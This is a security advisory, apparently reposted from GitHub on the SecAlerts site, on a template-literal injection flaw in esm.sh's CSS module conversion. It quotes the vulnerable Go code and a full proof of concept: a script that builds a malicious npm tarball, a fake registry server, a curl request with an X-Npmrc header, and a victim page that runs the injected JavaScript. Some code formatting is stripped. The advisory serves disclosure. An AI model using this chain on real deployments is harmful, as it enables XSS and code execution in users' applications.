Where
-Infinity
0
Severity
9.6
Code Injection, XSS
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (\) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details File: server/router.go Lines: 1112-1119

go // Convert CSS to JavaScript module when ?module query is present if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") { filename := path.Join(npmrc.StoreDir(), esm.Name(), "nodemodules", esm.PkgName, esm.SubPath) css, err := os.ReadFile(filename) if err != nil { return rex.Status(500, err.Error()) } buf := bytes.NewBufferString("/ esm.sh - css module /\n") buf.WriteString("const stylesheet = new CSSStyleSheet();\n") if bytes.ContainsRune(css, '') { // If backtick exists: JSON encode (SAFE) buf.WriteString("stylesheet.replaceSync(") buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css))))) buf.WriteString(");\n") } else { // If no backtick: Direct insertion (VULNERABLE!) buf.WriteString("stylesheet.replaceSync(") buf.Write(css) // ← CSS inserted into template literal without sanitization! buf.WriteString(");\n") } buf.WriteString("export default stylesheet;\n") ctx.SetHeader("Content-Type", ctJavaScript) return buf } When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions. Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.

PoC

Step 1. Create Malicious Package (tar) python import tarfile import io import json from datetime import datetime

Malicious CSS with template literal injection evilcss = b""" body { background-color: #ffffff; color: #333333; }

.container { max-width: 1200px; margin: 0 auto; }

/ js payload / ${alert(1)}

/ More CSS to appear legitimate / .footer { margin-top: 20px; padding: 10px; } """

files = { "package/index.js": b"module.exports = { version: '1.0.0' };", "package/package.json": json.dumps({ "name": "test-css-injection", "version": "1.0.0", "description": "Test package for CSS injection", "main": "index.js" }, indent=2).encode(), # Malicious CSS file "package/poc.css": evilcss, }

with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o644 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content))

print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")

Step 2. Run Fake Registry Server python fake-npm-registry.py from flask import Flask, jsonify, sendfile

app = Flask(name)

MALICIOUSTARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRYURL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>') def getmetadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRYURL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })

@app.route('/<package>/-/<filename>') def gettarball(package, filename): return sendfile(MALICIOUSTARBALL, mimetype='application/gzip')

if name == 'main': app.run(host='0.0.0.0', port=9999)

bash python3 fake-npm-registry.py Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload) bash curl "http://localhost:8080/test-tarslip@1.0.0" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Cross-site Script (alert(1)) html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>CSS Injection Victim Page</title> </head> <body> <script type="module"> // esm.sh import import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module"; console.log('Styles loaded:', styles); </script> </body> </html> <img width="1414" height="238" alt="image" src="https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb" />

in esm.sh Playground <img width="1568" height="502" alt="image" src="https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897" />

Impact Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203